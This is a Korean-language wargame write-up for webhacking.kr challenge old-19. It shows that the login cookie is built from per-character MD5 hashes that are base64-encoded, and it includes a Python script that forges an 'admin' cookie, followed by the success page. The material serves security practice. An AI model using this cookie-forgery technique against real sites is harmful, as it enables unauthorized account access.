id를 입력하고 제출하면 그 id로 로그인이 되는데, admin
으로 로그인을 시도하면 you are not admin이 뜬다.
AAAA
로 로그인하면 userid
라는 쿠키가 생긴다. 이 쿠키의 값을 URL 디코딩한 후 base64 디코딩하면 아래와 같다.
해쉬처럼 보이는 값이 4번 반복된다. AAAA
에서 각각의 문자에 해당하는 해쉬 값이 반복된 것으로 추측할 수 있다.
반복되는 값은 A
의 MD5 해쉬이다.
즉, userid
쿠키의 값은 id에서 한 글자씩 MD5 해쉬를 씌워서 모두 이어붙이고, base64 인코딩을 한 후, 끝의 =
들을 URL 인코딩한 결과이다. admin
에 이 작업을 해서 admin
에 해당하는 userid
쿠키를 만들어서 넣어주면 admin
으로 로그인할 수 있을 것이다.
from hashlib import md5
from base64 import b64encode
import requests
id = 'admin'
userid = ''
for c in id:
userid += md5(c.encode()).hexdigest()
userid = b64encode(userid.encode())
userid = userid.replace(b'=', b'%3d')
url = 'https://webhacking.kr/challenge/js-6/'
cookies = {'PHPSESSID': 'uta5q6h2q47ubh4j55e2651p0p', 'userid': userid.decode()}
res = requests.get(url, cookies=cookies)
print(res.text)
$ python3 solve.py
<html>
<head>
<title>Challenge 19</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; color:black; font-size:9pt; }
</style>
</head>
<body>
hello admin<br><script>alert('old-19 Pwned!');</script><hr>old-19 Pwned. You got 15point. Congratz!<hr><input type=button value='logout' onclick=location.href='?logout=1'>
728x90